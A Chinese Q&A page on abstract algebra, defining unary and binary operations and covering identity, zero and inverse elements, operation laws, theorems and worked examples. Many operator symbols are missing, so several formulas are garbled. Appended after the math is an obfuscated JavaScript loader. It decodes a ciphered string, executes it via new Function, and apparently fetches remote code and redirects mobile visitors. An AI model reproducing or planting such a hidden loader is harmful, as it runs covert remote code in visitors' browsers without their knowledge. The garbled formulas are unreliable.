一个高等代数的问题

一元运算的映射定义是什么
2025-03-04 14:10:08
推荐回答(1个)
回答1:

一元运算和二元运算
一.一元运算和二元运算
定义 10.1 设S是集合, 函数 f : S → S称为S上的一个 一元运算 .
例 10.1 (1) 求数的相反数是整数集合Z 、有理数集合Q和实数集合R上的一元运算.
(2) 求数的倒数是非零有理数集和非零实数集上的一元运算.
(3) 求复数的共轭复数是复数集合C上的一元运算.
(4) 在幂集合P(S)上, 如果规定全集为S, 则求集合的绝对补运算是P(S)上的一元运算.
(5) 设集合S上所有双射函数组成的集合为, 则求双射函数的反函数是A上的一元运算.
(6) 在n(n≥2)阶实数集合(R) 上,求矩阵的转置矩阵是(R)上的一元运算 .
注: 验证 S上一种运算是否为一元运算主要应检验两点:
(1) S中任何元素都能进行这种运算, 且运算结果是唯一的.
(2) S中任何元素进行运算的结果都仍在S中, 即S对运算 是封闭的.
定义 10.2 设S是集合,函数 f : S Ⅹ S → S称为S上的 二元运算 。
注: 验证 S上一种运算是否为二元运算也主要检验两点:
(1) S中任二元素都可进行这种运算, 且运算结果是唯一的.
(2) S中任二元素运算的结果都仍在S中(运算具有封闭性).
例 10.2 (1) 自然数集合N上的加法和乘法都是N上的二元运算, 但减法和除法不是。
(2) 整数集合 Z 上的加法、减法和乘法都是 Z 上的二元运算, 但除法不是。
(3) 实数域 R 和有理数域 Q 上的加法、减法、乘法都是二元运算, 但除法不是; 非零实数域和非零有理数域上的乘法和除法都是二元运算, 但加法和减法不是。
(4) 在所有 n阶实矩阵(n≥2)形成的集合M n(R) 上, 矩阵的加法和乘法都是二元运算。
(5) S 为任意集合, 则∪, ∩, -, ⊕ 为 S 的幂集 P(S) 上的二元运算.
(6) S 为集合, S 上所有函数形成的集合为. 则函数的复合运算⌈是上的二元运算。
注: 通常用符号 *, , ·, …, 等来表示运算, 称为运算符。
例 10.3 设有实数域R上的二元运算: ∀ x , y ∈ R, x * y = x, 计算
解:
有限集合 S上的一元和二元运算除了使用函数表达式给出外, 也可以用运算表给出; 运算表的一般格式为:
例 10.4 设S={1,2},给出P(S)上的补运算~和对称差运算 ⊕ 的运算表 ,其中全集为S。
解: 所求运算表如下 :
例10.5 设S={1,2,3,4},定义 S上的二元运算如下: xy=(xy)(mod 5), ( ∀ x, y ∈ S)
求运算的运算表。
解: 所求运算表如下:
二.二元运算的单位元、零元和元素的逆元
定义 10.3 设为集合S上的二元运算。
(1) 若 ∃ ∈ S (或 ∃ ∈ S ), 使得对 ∀ x ∈ S 都有
x = x ( 或 x=x )
则称是 S中关于运算⌈的 左单位元 ( 称 为S中关于运算⌈的 右单位元 )。
如果 e ∈ S关于运算⌈既是左单位元又是右单位元, 则称为 单位元 或 幺元 。
(2) 若 ∃ θ l ∈ S (或 ∃ θ r ∈ S), 使得对∀ x ∈ S 都有
θ l x = θ l ( 或 x θ r = θ r )
则称 θ l 是 S中关于运算 的 左零元 (称 θ r 是 S中关于运算 的 右零元 )。若 θ ∈ S关于运算 既是左零元又是右零元, 则称它是S中关于运算 的 零元 。
(3) 设e ∈ S是运算 的单位元, x ∈ S。若 $ ∈ S (或 $ ∈ S), 使得
i x = e (或 x =e )
则称 是在运算 下元素x的 左逆元 (称 是在运算 下元素 x 的 右逆元 )。
若 y ∈ S既是x 的左逆元又是x 的右逆元, 则称 y是x 在运算 下的 逆元 。存在逆元的元素称为可逆的。
注1
♥ 在数集 N, Z, Q, R上,0是加法的单位元,1是乘法的单位元;
♥ 在 n阶实矩阵集合M n(R)上,全0的n阶矩阵是矩阵加法的单位元, n 阶单位矩阵是矩阵乘法的单位元;
♥ 在幂集P(S)上, F 是∪运算的单位元 , 全集S是∩运算的单位元, F 也是对称差运算 ⊕ 的单位元;
♥ 在上,恒等矩阵 I A 是函数复合运算的单位元。
注2
♥ 在数集N, Z, Q, R上,加法没有零元,0 是乘法的零元;
♥ 在 M n(R)上, 矩阵加法没有零元, 全 0 的 n 阶矩阵是矩阵乘法的零元;
♥ 在P(S)上, 全集 S 是∪运算的零元, F 是∩运算的零元,⊕ 没有零元;
注3
♥ 在自然数集N上,只有0有加法逆元,就是它自己;
♥ 在数集Z,Q,R上, 每个数字x关于加法运算都有逆元, 即它的相反数–x ;
♥ 在数集Q,R上, 每个非零数字x关于乘法运算都有逆元, 即它的倒数 ;
♥ 在集合M n(R)上,每个 n 阶实矩阵 M 关于矩阵加法都有逆元–M; 每个n 阶实可逆矩阵 M 关于矩阵乘法都有逆元 ;
♥ 在P(S)上,关于并运算∪,只有 F 有逆元,就是它自己;
关于交运算∩,只有全集S有逆元,就是它自己。
定理 10.1 (1) 设为S上的二元运算。如果在S中关于该运算既存在左单元 又存在右单元 , 则必存在单位元e , 且 = =e。
(2) S上关于运算的单位元是唯一的。
证: (1) 因 是右单位元,故= ;
又因是左单位元,故 = 。从而 = 。
令 e = = , 易见 e 是单位元。
(2) 设e 和e ' 都是 S中关于运算的单位元,则
e=e e ' = e'
可见,单位元是唯一的。
定理 10.2 (1) 设为S上的二元运算。如果在S中关于该运算既有左零元 θ l 又有右零元 θ r ,则必存在零元 θ ,且 θ l = θ r = θ .
(2) S上关于运算的零元是唯一的。
证明与上一定理类似,留作练习。
定理 10.3 设为S上的二元运算, e 和 θ 分别为该运算的单位元和零元。如果 S 至少有两个元素,则e≠ q .
证:用反证法。假设 e= θ ,则对 ∀x ∈ S,有 x= xe= xθ = θ . 这与 S中
至少有两个元素矛盾。
定理 10.4 设为S上的可结合的二元运算,(“可结合”见下文定义),e 为该运算的单位元。 (1) 如果S中一个元素x在该运算下既有左逆元 又有右逆元 ,则它必有逆元 y , 且 = =y;(2) 若 x ∈ S在运算下有逆元,则逆元是唯一的。
证: (1) 由 x = e 和 x =e 得
= e = ( x ) = ( x ) = e = 。
令 y = = , 则易见 y 是 x 的逆元。
(2) 设 y 和 y ' 都是元素 x 在运算 下的逆元,则
y ' = y ' e= y '(x y)=(y ' x) y=e y=y 。
由此可见 x 的逆元是唯一的。
三.二元运算的运算律
定义 10.4 (1)设为集合S上的二元运算. 如果对 ∀ x, y ∈ S,都有
xy=yx,
则称运算在S上具有 交换律 ,或称运算在 S上是交换的。
(2) 设为集合 S上的二元运算。如果对 ∀ x , y, z ∈ S, 都有
(x y) z = x (y z)
则称运算在S上具有 结合律 ,或称运算 在S上是结合的。
(3) 设为集合S上的二元运算。如果对 ∀ x ∈ S,都有
x x =x
则称运算 在S上具有 幂等律 ,或称运算 在S上是幂等的。
(4) 设和·是集合S上两个二元运算。如果对 ∀ x , y, z ∈ S,都有
x ·(y z)=(x · y) (x · z) (或都有 (y z) · x=(y · x) (z · x))
则称运算·对运算具有 左分配律 (或 右分配律 )。若·对既有左分配律又具有右分配律,则称·对具有 分配律 。
定义 10.5
(1) 设和·是集合S上的两个可交换的二元运算。如果对 ∀ x , y ∈ S,都有
x·(x y)=x,
则称运算·对运算具有吸收律。如果·对具有吸收律,且对·也具有吸收律,则称运算·和在S上是 吸收的 。
(2) 设是集合S上的二元运算,如果对 ∀x , y, z ∈ S,都有
xy=xz ∧ x ≠零元) ⇒ y=z
或都有 (yx=zx ∧x ≠零元) ⇒y=z)
则称运算 在S上具有 左消去律 (或具有 右消去律 )。若运算在S上既具有左消去律又具有右消去律,则称它在S上具有 消去律 。
注1.
常见的二元运算满足交换律,结合律,幂等律和消去律的情况:
♠ & 集合的并和交不满足消去律的例子 :
A={1,3,4,5}, B={1,2,4,5}, C={1,2,3}, D={1,3},
则 A∪C=B∪C={1,2,3,4,5}, 但A≠B;
A∩C=D∩C={1,3}, 但A≠D.
♠ & 函数的复合运算不满足消去律的例子:
注2.
★ 集合 N,Z,Q,R,C上数字的乘法对加法具有分配律;
★ n 阶实矩阵集合 M n(R) 上矩阵的乘法对加法具有分配律;
★ 幂集 P(S)上交和并运算∩与∪是互相可分配的。
注3.
幂集P(S)上的∪与∩运算满足吸收律,即 ∀ A, B ∈ P(S), 有A∪(A∩B)=A, A∩(A∪B)=A。
注4.
设是集合S上的二元运算. 若S中某元素 x 满足xx=x, 则称x为运算⌈的幂等元。显然, 若二元运算在S上具有幂等律, 则S中每个元素都是 运算的幂等元。
例 10.6 对下列二元运算, 指出其运算性质, 并求其单位元、零元和
所有可逆元的逆元。
解: (1) * 运算可交换、可结合, 是幂等的, 不存在零元。因为对 ,x * 1=1 * x=x , 故1是单位元。除1外, 其它元素无逆元, 1 的逆元是它 自己。
(2) ① ∵ 对 ∀x , y ∈ Q, x * y = x+y – xy = y+x – yx = y* x , 故*满足交换律;
② ∵ 对 ∀ x , y, z ∈ Q, 有
(x * y ) * z = (x+y – xy) * z = x+y+z – xy – xz – yz+xyz ,
x * (y * z ) = x * (y+z – yz) = x+y+z – yz – xz – xy+xyz .
可见 * 满足结合律;
③ ∵ 对 2 ∈ Q, 有 2*2=2+2–2 ′ 2=0 1 2, 故*不满足幂等律;
④ ∵ 对 ∀x , y, z ∈ Q 且 x 1 1 (1是零元),有
x*y = x*z ⇒ x+y – xy = x+z – xz ⇒y – z = x(y – z) ⇒y = z。
故满足左消去律, 由于可交换, 故也满足右消去律, 从而*满足消去律;
⑤ 因为对 ∀ x ∈ Q,都有 x*0 = x = 0*x,故 0是*的单位元;
⑥ 因为对 ∀ x ∈ Q,都有 x*1=1=1*x,故 1是*的零元;
⑦ 因为对 ∀ x ∈ Q,欲使 x*y=0 和 y*x=0成立,即
x+y – xy = 0,
解得 ,故每一非零元x都有逆元 。
例 10.7 设A={a, b, c}, A上的二元运算 * ,,· 如表所求。
(1) 说明它们是否满足交换律、结合律、消去律和幂等律。
(2) 求出它们的单位元、零元和所有可逆的逆元。
表格
解: *运算 满足交换律、结合律和消去律 , 不满足幂等律。单位元是a;没有零元;, .
运算 满足交换律、结合律和幂等律 , 不满足消去律,单位元是a,零元是b. 仅仅a 有逆元: .
· 运算 满足交换律、结合律和幂等律 , 不满足交换律和消去律。没有单位元和零元,任何元素都无逆元。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();